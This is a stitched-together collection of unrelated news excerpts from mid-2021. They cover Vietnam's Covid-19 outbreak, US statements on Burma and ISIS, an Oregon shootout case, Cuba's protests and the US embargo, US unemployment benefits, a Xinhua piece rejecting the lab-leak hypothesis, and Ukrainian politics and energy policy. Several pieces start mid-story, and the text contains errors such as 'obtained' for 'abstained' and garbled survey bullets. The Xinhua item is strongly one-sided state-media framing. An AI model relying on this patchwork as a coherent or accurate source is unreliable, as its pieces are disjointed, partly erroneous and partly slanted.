
Mekong Delta province of Ben Tre reported 43 cases, with 30 cases having made contact with confirmed Covid-19 cases, 12 linked to Binh Dien wholesale market in HCMC's District 8 and one returning from Long An Province that borders HCMC.

Ba Ria-Vung Tau Province, another's HCMC neighbor, got 19 cases, with 17 linked to existing cases and two being contact traced.

Vinh Long Province in the Mekong Delta recorded 17, with 16 related to previously confirmed cases and one returning from HCMC.

Tay Ninh Province also got four cases: one related to a previously confirmed patient, one linked to the Binh Dien wholesale market in HCMC, and two are being contacted traced.

Mekong Delta's Kien Giang and Tien Giang provinces reported two cases each. In Kien Giang, they are people returning from HCMC while one case in An Giang is linked to a patient and one is being contact traced.

The one case in the delta's Soc Trang Province is a man back from HCMC.
Covid-19 patients wait to be admitted into a field hospital in HCMC, July 11, 2021. Photo by VnExpress/Huu Khoa.

The Health Ministry announced another 849 local Covid-19 patients Tuesday night, sending Vietnam's daily tally to 2,296 cases.

Of the cases confirmed Tuesday night, Ho Chi Minh City, the epicenter of the ongoing wave, recorded 546 new cases, raising its daily tally to 1,797, the highest number in a day ever.

Among them, 514 are in quarantine zones and areas under lockdown and the rest have unknown sources of transmission.

Binh Duong Province that borders HCMC got 186 cases, including 111 that have made contact with Covid-19 patients, 20 that have visited HCMC and 55 are being contact traced.

Long An Province, another HCMC's neighbor, reported 49 cases, with 23 detected in quarantined and isolated areas and 26 returning from HCMC.

19 cases in the Mekong Delta's Dong Thap Province, 15 cases in the central Phu Yen Province, eight cases in the northern Hung Yen Province, and four cases in the delta's An Giang Province are all in quarantine zones and isolated areas.

Hanoi got six cases and Da Nang got four who all are associated with previously confirmed patients.

Can Tho City in the Mekong Delta reported five cases related to a cluster at Tan An market in Ninh Kieu District.

Kien Giang, another Mekong Delta province, got three cases and the authorities are still looking into their infection sources. Tra Vinh Province in the delta also got three cases, with two linked to other Covid-19 patients and one returning from Binh Duong Province. Bac Giang Province, the former epicenter of this wave, reported one case as a three-year-old boy who has had contact with a previously confirmed case.
Pilots wearing face masks are seen at the Hong Kong International Airport, Hong Kong, May 7, 2020. Photo by Reuters/Tyrone Siu.

Hong Kong has listed Vietnam among high-risk Covid areas from which visitors need to undergo 21-day hotel quarantine on arrival.

Vietnam and Asian countries like Singapore, Thailand, Japan, Malaysia and Cambodia have been listed in a group of high-risk areas under Hong Kong's five-tier system for assessing the overseas Covid-19 threat.

All passengers from high-risk areas must furnish a negative PCR test certificate from an accredited health center in the country of departure valid for 72 hours after arrival and must have a confirmed reservation at an approved quarantine hotel in Hong Kong, regardless of whether or not they have their own residence.

However, those that have received two shots of a Covid vaccine approved by Hong Kong authorities and presenting antibody test results from a recognized laboratory in the city would only undergo seven-day hotel quarantine as part of its relaxed quarantine policies.

Qatar has mandated seven-day hotel quarantine for unvaccinated visitors from Vietnam.

Over four million of Vietnam's 96 million people have got their shots, with over 280,000 getting both doses. The government targets vaccinating 70 percent of the population by April 2022.

With the country struggling to contain the Delta variant, several countries including Sri Lanka, Oman, the UAE, and Saudi Arabia have banned entry from Vietnam.

Its containment of Covid was a global success story until late April until the fourth wave began.

Vietnam has recorded 33,035 infections to date.
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The United States welcomes the release of journalist Nathan Maung, a U.S. citizen arrested March 9 and imprisoned for months in Burma. Another U.S. citizen, journalist Daniel Fenster remains incarcerated. The U.S. has called for his immediate release.
In late March 2019, the terrorist group ISIS suffered its final territorial defeat in Syria. Though it lost the territory it once controlled and with it, its fraudulent caliphate, it is yet to be fully uprooted.

Since [the Global Coalition to Defeat ISIS] was created in 2014 . . . millions of civilians have been able to return to their homes. The movement of foreign ISIS fighters into Syria and Iraq has virtually ceased. And key ISIS leaders have been captured or killed. These achievements are significant and a reflection of whats possible when we come together in common cause with a shared commitment, said Secretary of State Antony Blinken at the Ministerial Meeting of the Global Coalition to Defeat ISIS. Nonetheless, there is still more work to be done, added Secretary Blinken.

The terrorist group and its affiliates are attempting to solidify their influence in Afghanistan, continuing to expand in the Sahel region in Africa, establishing affiliates in countries such as the Democratic Republic of the Congo and Mozambique.

The Coalition is continuing its work to curb the terrorists ability to raise revenue, enhance its information sharing on terrorists, and fight against toxic ISIS propaganda.

Secretary Blinken said, We must reaffirm our commitment, including to Operation Inherent Resolve, the complementary NATO mission in Iraq, and to civilian-led counterterrorism capacity building.

Second, said Secretary Blinken, we must renew coalition support for stabilization assistance across Iraq and Syria, to ensure that ISIS doesnt have a resurgence in these countries.

Third, the countries of origin must deal with the roughly 10,000 foreign fighters and their associated family members housed in detention centers and displacement camps. This situation is simply untenable, said Secretary Blinken. The United States continues to urge countries of origin, including coalition partners to repatriate their citizens, rehabilitate and reintegrate their family members, and, where applicable, prosecute foreign fighters.

Finally, the Coalition must effectively confront ISIS where it recently has focused its efforts outside of Iraq and Syria. We have to get at this from every possible angle.

The United States is grateful for the partnership and commitment to defeating ISIS everywhere in the world. Secretary Blinken said, Weve made great progress because weve been working together. So we hope . . . to keep up the fight against this terrorist organization until it is decisively defeated.
No officers were injured. Anderson was shot in the eye and has permanent vision loss, hearing damage and a brain injury, FitzMaurice said.

Anderson had previously been convicted of misdemeanor trespassing for his role in the 2016 armed standoff at the Malheur National Wildlife Refuge in southeastern Oregon led by anti-government activist Ammon Bundy. Anderson joined occupiers who were protesting what they said was the federal government taking over private land in the area, and was one of the last four holdouts during the 41-day occupation.

Anderson said that two days before the Idaho shootout, hed attended a rally in Emmett, Idaho, organized by Bundy, and drawn a line in the sand, vowing that he would never be taken back to jail.

Thats why he refused to cooperate when Lewis County Deputy Walter Wilkinson pulled him over and asked to see his drivers license, Anderson told the court.

Wilkinson described Anderson as having radical anti-government views.

But Anderson told the court that he disagreed with the prosecutions depiction of events, and said he had hoped that the officers would kill him. He said he was depressed, had been drinking and was upset because of what he believed was governmental overreach in response to the coronavirus pandemic.

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If [Donald] Trump and [Bernie] Sanders take the same position on Big Tech censorship, David Catron writes at The American Spectator, the issue deserves serious attention.

Hes right, but in pretty much the opposite of the way he intends. When the mainstream right and left agree on anything, thats almost always a blazing neon sign warning us that our freedoms are under threat.

Catron (and Trump and Sanders) want the US government to seize control of social media platforms and dictate which users those platforms must accept and what kind of content those platforms must permit publication of. They dont put it quite that baldly, of course, but who would? Their cause is implicit in their criticisms of Big Tech as a monopoly, which requires government regulation to promote competition in the marketplace of ideas.

Social media platforms arent monopolies. If you dont like Facebook or Twitter, you can go to Minds, MeWe, Diaspora, Mastodon, Gab, Discord, et al.

The US government, however, IS a monopoly. Everyones forced to do business with it, and in many areas it forcibly forbids or limits competition with its own offerings.
On 11 July, protests began across Cuba, calling for major reforms in light of severe food and medical supply shortages. Cubas leader, Miguel Diaz-Canel, the first non-Castro to take power since 1959, blamed the protests on a US-based social media campaign.

In an address on Monday 12 July, President Diaz-Canel did say that Its legitimate to feel dissatisfaction," as many suffer from shortages but blamed them on the US embargo. While the economic embargo undoubtedly has played a role in the shortages, the covid-19 pandemic and the decrease in tourism has also led to the worst economic situation for the country since the early 1990s.

There is no denying the brutality of the Cuban regime, which has negated the rights of its citizens to maintain power.

However, for many activists, these actions do not make the embargo, which also deprives the Cuban people of their right to self-determination, ethical. Cubans who want a Democratic future should be able to voice that opinion, free from violence.

But, international intervention to put increased pressure on the government could create more violence in an already tense situation.

Overview of the US Blockade against Cuba

An economic embargo, or blockade [known in Cuba as el bloqueo], is a political tool aimed at distributing a countries economy by banning the export of products to the target country.

Blockade Timeline

The blockade was first implemented after the Bay of Pigs by President John F. Kennedy in 1962. Since then, the embargo has been lightened and toughened depending on the foreign policy view of the President sitting in the White House.

In 1961, Congress passed two pieces of legislation -- the Foreign Assitance Act and the Cold War Act -- that prohibited the distribution of aid to Cuba and gave the president the authority to put an economic embargo in place.

In 1962, President Kennedy formally introduced the Cuban blockade through Executive Order. The order banned importation into the United States of all goods of Cuban origin and all goods imported from or through Cuba the import of Cuban products. It also prohibited the export of all US products to Cuba. Exceptions were made for food and medical supplies.

In 1963, after the Cuban Missile Crisis, President Kennedy tightened the blockade further by banning travel, and Congress passed a law to penalize countries that assisted the island nation.

In the 1970s, President Jimmy Carter did not use his authority to ban travel to Cuba, but his predecessor Ronald Reagan took the standard view and further strengthened the blockade. President Reagan made changes to the travel ban, making exceptions for US government officials, movie production, researchers, and family visits.

By the late 1980s and early 1990s, the Soviet Union, Cubas largest international partner, was on the brink of collapse. President Bill Clinton and Congress toughened the embargo in 1992 in hopes of undermining Fidel Castros regime. The Cuban Democracy Act and the Helms-Burton Act created more rules for sending and trading food and medical products and established more penalties for countries and companies doing business with Cuba.

These new laws came during the Special Period; an era marked in Cuban history by economic crisis and hunger. From 1990 to 1996, the calorie intake in the nation was cut by almost thirty percent, and people starved. The impacts of these bills contributed to this crisis.

In 1990, two years before the law was passed, Cuba imported more than $400 million worth of food and medical supplies from the US. After the passage of the law, through 1996, imports decreased to $64 million.

Just a few weeks ago, the 184 members of the United Nations General Assembly voted in favor of the US lifting the embargo. The only votes opposing the measure came from the United States and Israel. Three countries, Brazil, Colombia, and Ukraine obtained.



Obama and Trump Presidencies

Part of President Obamas second term was focused on re-establishing diplomatic relations with Cuba. Obama was the first president to visit Havana since 1928. During a speech he made at the National Theater in Havana, he described how over his lifetime, the world had remade itself time, and again, one constant was the conflict between the United States and Cuba.

Pres. Obama spoke of the dreams and hopes of the Cuban people, congratulated them for all they had innovated and for how they have helped the global community.

It was the first step towards normalization, which President Trump quickly erased.

After first taking office, President Trump re-implemented some of the business and travel restrictions Obama had repealed.

As the pandemic began, many United Nations advisors urged the administration to loosen the embargo as it may lead to a higher risk of such suffering in Cuba and other countries targeted by its sanctions. He did not, and in October, he enacted further sanctions targeting key revenue sources for the government and officials.

President Biden has made his support for the protestors public but has not released any details on how his administration plans to address the failing diplomatic relationship. This series of protests may force him to act and rethink the decades-long embargo as international calls for its ending have grown in recent days.
The Republican state-led move to end the unemployment benefits three months had prompted outcry from workers and politicians alike.

The legal fights that challenged the move had prevented the sudden termination of benefits but Governors were determined to appeal and overturn the judges' rulings.

But the President's camp has poured cold water over these plans and said the unemployment programmes can restart after the Governors' appeals were dismissed in appeals court.

The payments are still scheduled to end federally on September 6.

What has the Biden administration said?

The administration said on Monday states that have terminated pandemic unemployment benefits early can restart the programmes, but there may be a break in payments for some unemployed Americans.

The states were sued on the grounds that there is a state requirement to "cooperate with the US Department of Labor and maximize benefits for unemployed residents."

The appeals court agreed with the lawsuit and the resumption of payments have been green-lit by both the President and the judges, potentially allowing millions of Americans further respite from the covid-19 depression.

What next for the states that have restored the benefits?

Maryland residents will likely receive pandemic benefits until the federal end, after securing another court victory Tuesday, lawyers for the plaintiffs said.

Payments in Indiana could restart as soon as Friday, a state official said.

In a climb-down from comments last week Indiana Governor Eric Holcomb said in a statement, "We acknowledge the court of appeals decision today. Notwithstanding, the Department of Workforce Development will continue to work with the US Department of Labor on finalizing the pandemic unemployment insurance benefits to comply with the judge's order."

There are outstanding lawsuits in Oklahoma, Ohio and Texas, the results of which will determine whether residents can rejoin the unemployment benefits scheme.

Why are the payments being ended early?

Some 26 states are ending the extra benefits early with Governors arguing that the extra money is disincentivizing workers from coming back into the workplace.

But the evidence does not support this view and think there are larger and more varied reasons rather than giving the unemployed extra money per week.

A 5,000 person survey conducted by job search site Indeed listed these reasons behind people's unwillingness to find jobs:

nearly 25% listed covid-19 fear .

. just over 20% listed a partner in work, which shows the link with needing childcare .

. slightly under 20% said they had a suitable financial cushion to sit on.

to sit on. barely 10% listed extra benefits as the reason to not look for work.

Between May and June the jobless rate rose by 0.3% to 5.9%, showing an early sign that the reduction in benefits is not incentivising people back into the workplace.
Wang Shoudao, 55, who has only one arm, has been working as a village doctor in a remote village in SE China's Jiangsu since 1984, safeguarding the health of the locals.(Xu Changliang/Guangming Picture)

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[ Editor: WXL ]
-- As the global vaccination rollout brings light to countries wrapped in a COVID-19 darkness, an emerging "political virus" has cast a shadow on the origins of the disease.

-- Some Western politicians have cooked up the lab-leak hypothesis to blame China and unleash intense waves of disinformation about the disease's origins, which have drawn criticism from the science community.

-- Scientists are increasingly worried about the consequences of unfounded allegations, which will hinder origin-tracing work and undermine preparations for the next pandemic.

BEIJING, July 13 (Xinhua) -- As the global vaccination rollout brings light to countries wrapped in a COVID-19 darkness, an emerging "political virus" has cast a shadow on the origins of the disease.

As of Tuesday morning, more than 187 million people around the globe have contracted the virus, with more than 4 million lives lost.

However, some self-interested Western politicians are concocting conspiracy theories and spreading misinformation about the origins of the deadly virus, including the tired lab-leak hypothesis. Such unsubstantiated notions do nothing but distract researchers dedicated to learning how and where the contagion began.

Scientists worldwide have spoken out against practices of politicizing the origins of COVID-19.

Chinese expert members of a WHO-China joint team introduce the report on the WHO-convened global study of COVID-19 origins at a press briefing in Beijing, capital of China, March 31, 2021. (Xinhua/Zhang Yuwei)

OPEN QUESTION

How and when the novel coronavirus reached "patient zero" remains unanswered.

Evidence has begun to emerge that COVID-19 had been circulating around the world earlier than the pathogen was first reported in the central Chinese city of Wuhan.

In mid-June, a new antibody testing study by the U.S. National Institutes of Health, which analyzed more than 24,000 blood samples from all 50 U.S. states between Jan. 2 and March 12, 2020, found evidence of SARS-CoV-2 infections in the country earlier than initial reports, which date back to late December 2019.

In early June, the World Health Organization requested an Italian research team re-test the samples in their study. Last November, Italy's National Cancer Institute reported that it found evidence of COVID-19 antibodies in the blood of four Italian cancer test subjects in October 2019, meaning they would have been infected by the virus in September, while the first known patient in Italy was detected with infection on Feb. 21, 2020.

Dominic Dwyer, an Australian virologist with the University of Sydney, thinks that animals are the likely source of COVID-19, but it remains overhasty to reach a definitive conclusion right now, saying "the 'gotcha' evidence still eludes in what can take years."

In the view of David Fidler, a global health researcher with the Council on Foreign Relations, a Washington-based think tank, it's hard to expect COVID-19 origin investigations to reveal definitive data any time soon, according to a report published in the science journal Nature in late May.

The origins of most Ebola outbreaks remain mysterious, and researchers have spent 14 years nailing down evidence that the 2002-04 SARS epidemic was caused by a virus transmitted from bats to civets to humans, Fidler said.

The video screenshot taken on March 30, 2021 shows Peter K. Ben Embarek, leader of an international team of experts to Wuhan, attending a virtual press conference. (Xinhua)

FOLLOW SCIENCE

In late March, the WHO released a report on the global tracing of COVID-19 origins, following a 28-day joint study in Wuhan by 34 experts from the WHO and China.

The experts assessed the likelihood of possible pathways, saying COVID-19 introduction through an intermediate host is "likely to very likely," through cold/food chain products "possible," and through a laboratory incident "extremely unlikely."

Calling the report "a very important beginning," WHO Director-General Tedros Adhanom Ghebreyesus said: "We have not yet found the source of the virus, and we must continue to follow the science and leave no stone unturned as we do."

Nonetheless, some Western politicians have cooked up the lab-leak hypothesis to blame China and unleash intense waves of disinformation about the disease's origins, which have drawn criticism from the science community.

Danielle Anderson, who has extensive experience in bat-borne virus research, is the only foreign scientist to have worked in the high-security BSL-4 lab of the Wuhan Institute of Virology. In an interview with Bloomberg in June, Anderson rejected the lab-leak theory, saying, "If people were sick, I assume that I would have been sick -- and I wasn't.

Anderson also said that no one she knew at that time was ill. "We went to dinners together, lunches. We saw each other outside of the lab," said the virologist, who feels "dumbfounded by the portrayal of the lab by some media outside China, and the toxic attacks on scientists that have ensued."

Furthermore, Vladimir Dedkov, deputy director for scientific work at Russia's Pasteur Research Institute of Epidemiology and Microbiology, recently told Xinhua that if the hypothesis of an artificial origin is investigated, then it is necessary to investigate all laboratories with viruses of this type, not only in China, but in other countries.

Only scientists who rely on international cooperation can clarify the question of the origins of new viruses, he added.

The video screenshot taken on May 7, 2021 shows World Health Organization (WHO) Director General Tedros Adhanom Ghebreyesus attending a press briefing in Geneva, Switzerland. (Xinhua)

POLITICAL HINDERANCE

Some non-scientists are rushing to fabricate evidence in the name of science. U.S. President Joe Biden has tasked the U.S. intelligence community to produce a report on the origins of COVID-19 within 90 days, instead of offering assistance to the WHO and facilitating the worldwide hunt for the source of the virus, including in his own country.

Meanwhile, scientists are increasingly worried about the consequences of unfounded allegations, which will hinder origin-tracing work and undermine preparations for the next pandemic.

Earlier this month, two dozen prominent international scientists reiterated their belief that the coronavirus evolved naturally rather than escaped from a lab, in a letter published in The Lancet medical journal.

Photo taken on March 30, 2021 shows an exterior view of the headquarters of the World Health Organization (WHO) in Geneva, Switzerland. (Xinhua/Chen Junxia)

"Allegations and conjecture are of no help, as they do not facilitate access to information and objective assessment of the pathway from a bat virus to a human pathogen that might help to prevent a future pandemic," they wrote. "Recrimination has not, and will not, encourage international cooperation and collaboration."

"I concur with the many scientists who say that politicizing the science does not help genuine efforts to identify the origins of SARS-CoV-2, or ongoing collaboration between Chinese and Western scientists," said Hume Field, a science and policy advisor for China and Southeast Asia at EcoHealth Alliance in New York.

It just generates "doubt" and "mistrust" and fundamentally undermines the united global effort needed to prevail against the virus and the pandemic, Field told Xinhua.

Similarly, Dedkov said politicizing the topic is purely counterproductive, urging his colleagues to work together to find the cause of the pandemic instead of blaming China without proof.

[ Editor: WXL ]
Viola von Cramon, Member of the European Parliament

We at the European Parliament are closely following the progress of environmental reforms in Ukraine. The country has a great potential to become a leading force of Europes green transformation. To do this, Ukrainian politicians need to swiftly prepare the legal basis for the necessary transition.

Since last year, Ukraine and the EU are increasingly engaged in dialogue on cooperation within the framework of the European Green Deal. The main agenda is comprised of the issues like the transition of coal regions, energy efficiency, renewable energy sources, and hydrogen technologies. All these initiatives can only succeed if they are built on a solid legal groundwork of comprehensive environmental reforms, particularly on those enshrined in the Association Agreement and Energy Community Treaty.

The people of Ukraine deserve to breathe the same clean air and live under the similar high environmental standards that the rest of Europeans enjoy in the EU. Especially when the average life expectancy in Ukraine is significantly lower than the average life expectancy in the EU. The same regard and attention are due for protecting unique Ukrainian forests and natural areas. 10 years after Ukraine's accession to the Energy Community Treaty, a large chunk of the EU's environmental Directives still have not been implemented.

According to the latest data , around 58 thousand Ukrainians perish each year due to industrial contamination of air, water, and soil. The mortality rate of 128 people per 100,000 inhabitants is one of the highest in the region. According to the World Health Organizations information on mortality and the burden of disease from ambient air pollution for 2016, Ukraine loses around 2,538 disability-adjusted life years annually per 100,000 people. This is the highest number in Europe. Because of pollution-related mortality and morbidity, Ukraine loses around 6% of GDP, which is comparable to the annual budget of the Ministry of Health.

This week, the Verkhovna Rada of Ukraine will consider several important environmental bills, including draft law #3091 on state environmental control and - #4167 on the prevention, reduction, and control of pollution arising from industrial activities. Both are crucial for improving the health and environment of Ukrainians and continuing Ukraine's integration with the EU.

Draft law #4167 On the prevention, reduction and control of pollution arising from industrial activities was designed by the Ministry of Environmental Protection and Natural Resources of Ukraine with the assistance from European Commission, EBRD, and GIZ. The law gives impetus for modernizing large industries while decreasing harmful emissions and their energy consumption.

Using the same practice, since 2004, large combustion plants in the EU were able to reduce emissions of sulfur dioxide by 77%, nitrogen oxide by 49%, and dust by 81%.

The second law draft law currently pending the approval of the Ukrainian lawmakers is aptly named On the state environmental control and is more commonly known as #3091. This law represents yet another significant steppingstone for Ukraines green transformation as effective regulations require effective oversight and enforcement. This is why re-establishment of the state environmental inspection service with appropriate powers is necessary. This legislation can launch a comprehensive end-to-end reform of the State Ecological Inspectorate, providing amendments to more than 30 Laws of Ukraine.

Lastly, draft law #4461 On the Emerald Network Sites, which is currently under consideration, is yet another building block for Ukraines comprehensive environmental reform. The law aims at biodiversity conservation and restoration, including emerging structural reforms in the forestry and management of natural protected areas. In the last three years, Ukraine has defined multiple areas with valuable ecosystems as Emerald Network territories and reached their approval at the Council of Europe level.

Now, it is up to the members of the Verkhovna Rada to do their job by showing up for the hearing and voting for what is right for Ukraine. By doing so, they will not only improve the environmental standards of all Ukrainians but also show commitment to the obligations taken by the country.

We at the European Parliament recognize Ukraine as the strategic partner for the European Union in decarbonization efforts under European Green Deal, which is aimed to make Europe the first carbon-neutral continent. The EU's clean industrial strategy goes hand in hand with our climate goals and decarbonization of the economy by 2050. For this reason, I am ready to support the initiative to establish a structured and regular dialogue on Ukraines participation in European Green Deal, but for the starting point some initial conditions need to be met, such as the implementation of previously defined environmental reforms.
Andrey Yavorskiy, Vice President for Strategy and Technology at GlobalLogic

In the fourth industrial revolution era, the world is moving from an analogue to a digital paradigm. People use digital solutions more often, so investments in IT are increasing. According to Gartner, the volume of investments in the sector will grow globally by 6% in 2021. How this will affect the Ukrainian IT market and what is happening in the world and in Ukraine in IT in 2021  we are to analyse in the material.

What will happen in the world: global trends

In 2015, a group of German scientists published the article The Fourth Industrial Revolution in the American journal Foreign Affairs. This was the first public use of the concept, and already in the next year, 2016, it became the topic of the World Economic Forum annual meeting. Today, the fourth industrial revolution is our present.

Although digitalization became a trend a long time ago, the massive transition to the remote mode greatly accelerated it. Due to the consequences of the pandemic, businesses globally have to accelerate their digitalization plan by at least five years. Gartner predicts global IT spending associated with telecommuting alone this year at $332.9 billion, up 4.9% from last year. In general, companies will invest about $3.9 trillion in IT solutions, which is 6.2% more than in 2020. The largest growth is predicted in the software development segment  investments in it will be 8.8% higher than in 2020.

The demand for IT services is now at a peak and even exceeds the supply on the market. In the last year alone, it has increased by 11% worldwide. The rapid growth in demand for IT solutions expands the need for qualified IT engineers. According to a study by Evans Data, there are already more than 24.5 million IT specialists in the world, that is 500 thousand more than last year. Despite this fact, the IT industry is experiencing an engineering talent shortage. According to the consulting company Korn Ferry, by 2030 the deficit of specialists in key areas in the world may reach 85.2 million, of which more than 4 million are in the IT industry.

Realities of Ukrainian IT

The number of specialists in Ukraine increased by 16% over the past year and exceeded 213 thousand in 2021. The export of IT services is also growing  it brought more than $5 billion to the Ukrainian economy by the end of 2020 and became the largest category of export of services in the country with a share of 8.3%. In total, in the period 2016-2020, thanks to IT, Ukraine received more than $16 billion in export earnings to the country. Thus, the contribution of IT increases every year and helps the country to strengthen its position in the global technology market.

At the same time, since the fall of 2020, a rapid growth in demand for IT specialists has been recorded in the Ukrainian IT-sphere. If in December, according to the anonymous platform for job search in IT Djinni 16 thousand positions were opened, then in May 2021 this figure exceeded 25 thousand vacancies. In general, over the past five years, the offers number has increased by 30%, and specialists  by 18%.

The industry lacks qualified professionals when the complexity of IT projects and solutions grows. Therefore, in order to remain in demand in the market, it is important for engineers to improve their skills, and for companies  to assist them in this. After all, experienced specialists can solve complex problems and deal with them more efficiently. According to our data, in order to remain competitive and continue to develop rapidly, IT business needs to invest at least 1.5% of its income in the education of specialists. This is about helping to improve skills for both experienced engineers and beginners.

The popularity of technical professions is growing  in 2020 by 20% more applicants applied to IT-courses than two years ago. But in order for former applicants to become in-demand specialists, both business and the education system joint efforts are required.

On the one hand, it is important to provide young specialists with fundamental knowledge, and on the other hand, to provide relevant and applied skills that are in demand by business.

For example, within the framework of the GlobalLogic Education initiative in Ukraine, we cooperate with 19 partner universities and have opened six educational laboratories. So students can get practice in the areas of embedded systems, machine learning and other technologies demanded by the market. Such initiatives also help the state to develop the country's IT industry, because the government plans to increase the number of IT specialists to 450 thousand by 2025, as well as the share of IT in the export of services to 10%.

Technology development is the driver of the economy

Technology began to penetrate business faster, and digitalization and automation became a necessity. Industrial Revolution 4.0 is helping to implement innovations in manufacturing and changing the role of the technical specialist in processes  machines perform tasks and humans control them. According to the World Economic Forum (WEF) a report, increased automation drives businesses to invest more in cloud computing, machine learning and data science. New demanded professions appear and the criteria for the existing ones are changing. So, for example, now specialists are expected to have high analytical skills and the ability to work with big data, as well as build a product architecture and quickly solve problems.

With the development of automation in business, people will have more resources and freedom to solve complex strategic problems, and they will be less involved in routine. Technology is already changing the reality of business and influencing the global economy, becoming its driver. And the Ukrainian IT industry is developing and significantly contributes to digital transformation, strengthening the country's technological position on the world stage.
Transfer of Ukrenergo, Main Gas Pipelines from Finance Ministry to Energy Ministry may be problem for certification  Energy Community Secretariat

Director of the Secretariat of the European Energy Community Janez Kopac called on the Ukrainian government to further analyze the decision to transfer PJSC NPC Ukrenergo and Main Gas Pipelines of Ukraine as it may pose problems for their certification.

At the 12th International Ukrainian Energy Forum of the Adam Smith Institute in Kyiv on Wednesday, he expressed the opinion that the transformation process of the Energy Ministry is not yet complete.

Kopac also said the transfer of Main Gas Pipelines of Ukraine and the Gas Transmission System Operator of Ukraine controlled by it was an important part of Naftogaz's unbundling.
Since Wednesday midnight, one Ukrainian serviceman has been wounded in Donbas as a result of one shelling attack carried out by Russia-led forces, and over the past day, another 13 attacks have been recorded, as a result of which one Ukrainian soldier was killed, the press center of the Joint Forces Operation (JFO) reported.

"As of 7:00 on July 14, one violation of the ceasefire was recorded. As a result of the shelling attacks, one soldier was injured. After providing medical assistance, the soldier was transported to a hospital. The condition of the wounded is satisfactory," the JFO staff said Wednesday morning.

In particular, not far from Luhanske, the enemy fired at Ukrainian positions from large-caliber machine guns and small arms.

"Over the past day, on July 13, thirteen ceasefire violations have been recorded in the area of the Joint Forces operation. As a result of enemy shelling attack, one soldier from the Joint Forces received injuries incompatible with life," the headquarters added.
Consideration of motion on appointment of Monastyrsky as Interior Minister to take place on July 16

Head of the Verkhovna Rada Committee on Law Enforcement Affairs Denys Monastyrsky has said that the consideration of the motion for his appointment as Minister of Internal Affairs will take place on Friday, July 16.

"Tomorrow, the relevant law enforcement committee will consider the letter of resignation of Minister of Interior Arsen Avakov. The day after tomorrow, a vote on this resignation letter will take place. And, probably, another meeting of the law enforcement committee will take place on Friday and, accordingly, consideration of the motion for the appointment of the minister of Internal Affairs," Monastyrsky toold reporters after a meeting of the Servant of the People faction on Tuesday.

Monastyrsky noted that he received an offer from the president to head the Ministry of Internal Affairs on Tuesday morning, and the decision for him "was extremely difficult."

"I can say that I made the most difficult decision in my life - to answer 'yes' to the president's proposal, to head the Interior Ministry," Monastyrsky said.

He stressed that he understands "what sacrifice he is making", as a person and as a politician. Answering the question why the president offered him the position of minister of the Ministry of Internal Affairs, Monastyrsky said: "He offered, as a person with whom he was in the team, among the first persons who were actually announced, as the president's team, as the head of the profile committee on law enforcement issues, which, in his opinion, will be able to lead this direction," said the MP.

He also said that he did not know the reasons for Avakov's resignation, since he had not yet spoken to him. Monastyrsky also refused to assess the work of Minister of the Ministry of Internal Affairs Avakov.

"Let us [I will comment] after the relevant decisions of the Verkhovna Rada on accepting the resignation and on the appointment of a new minister are made," Monastyrsky said.

He declined to comment on any personnel appointments at the ministry following his possible arrival.

Earlier on Tuesday, Ukraine's Interior Minister Arsen Avakov announced that he had submitted a letter of resignation.

Denys Monastyrsky was born in Khmelnytsky on June 12, 1980. He graduated from the Faculty of Law of Khmelnytsky University of Management and Law. He studied at the Koretsky Institute of State and Law of the National Academy of Sciences of Ukraine. He is a PhD in law.

In 2007, he was a lawyer at Hillmont Partners, in 2009 he worked at Global Ties KC. From 2015 to 2017, he worked as a lawyer at Legal Consulting. He is a secretary of the Competition Commission for the formation of the State Bureau of Investigations, an expert of the Ukrainian Institute of the Future. Monastyrsky has been a co-founder and board member of Podolsky youth cultural association "Into the future through culture" since 2006.

Monastyrsky is a candidate for deputies from the Servant of the People party in the 2019 parliamentary elections, No. 19 on the list.
Language cannot be subject of speculation by both pro-Russian, pseudo-patriotic forces  Tkachenko

Minister of Culture and Information Policy of Ukraine Oleksandr Tkachenko believes that the language cannot be the subject of speculation by both pro-Russian and pseudo-patriotic forces.

"Language cannot be the subject of manipulation and speculation, language cannot be used to split the country, language cannot be used by both pro-Russian forces and pseudo-patriotic forces. Language is our body armor and it unites us," Tkachenko said at the all-Ukrainian forum entitled "Ukraine 30. Humanitarian Policy" in Kyiv on Wednesday.

The minister also noted that the promotion of the Ukrainian language is impossible without funding it at different levels.

"All residents of Ukraine should speak Ukrainian, but with pleasure," he added.
The establishment of a visa-free regime between Ukraine and China is quite realistic and necessary for the start of the process of mutual tourist and labor migration of citizens of both countries, political expert, PhD in philosophy and orientalist Andriy Buzarov said.

"Visa-free regime between Ukraine and China, firstly, is real, and, secondly, it is necessary. Many Ukrainian students, tourists and potential workers go to China, where they often have big problems with obtaining a Chinese visa as well as the Chinese, who have great interest to Ukraine. Visa-free regime will give an opportunity to start the process of tourist and labor migration, free movement of people in private capacity," said Buzarov in a comment to the Interfax-Ukraine news agency.

According to the expert, "it is currently important for Ukraine and China to determine the parameters for the introduction of a visa-free regime in the context of the COVID-19 pandemic." "According to my information, in China, at least until March next year, there will be significant restrictions on entry and movement due to the pandemic, so it is necessary that the parties clarify what the visa-free regime will be like in the context of the pandemic. And this raises many questions," he said.

Buzarov also noted that "the establishment of a visa-free regime between the countries does not threaten Ukraine with Chinese labor expansion due to the influx of labor immigrants from the PRC."

"This is a prejudice. Firstly, there is an established system of control over migration processes in the law enforcement agencies of Ukraine, and secondly, I do not know a single example in the post-Soviet space when a large number of Chinese migrants used to arrive, and they, conditionally, 'occupied' some region," the expert emphasized.

He also added that "China has long practiced a bilateral visa-free regime with many countries of the world."

As reported, on July 13, President of Ukraine Volodymyr Zelensky held the first telephone conversation with President of the People's Republic of China Xi Jinping, during which the interlocutors agreed to conclude an agreement on visa-free travel between the countries.
The Normandy Four summit at the level of heads of state of Ukraine, Germany, France and Russia on the implementation of the project "Key clusters for the implementation of the Minsk agreements" may take place in the near future, said head of the President's Office of Ukraine Andriy Yermak.

"The main task for all of us remains the restoration of peace [in Donbas] ... One of the mechanisms for achieving peace should be the project 'Key clusters for the implementation of the Minsk agreements', prepared by Germany and France, which Ukraine supported. The next step should be the N4 summit, which will take place in the near future," Yermak wrote on his Facebook page following a working visit with President of Ukraine Volodymyr Zelensky to Germany.

He also noted that "security has become a key issue in negotiations with German colleagues." "Nord Stream 2 is a security challenge that escalates threats to the entire region. Nord Stream 2 violates the principles of the Energy Union and EU antitrust laws, "Yermak said.

Yermak expressed hope that Germany would contribute to the formation of a common position of the European Union on European integration and Ukraine's membership in NATO, and also stressed that "following the visit to Germany, it became obvious that no one, without taking into account the interests of Ukraine and guarantees of their observance, will decide anything."

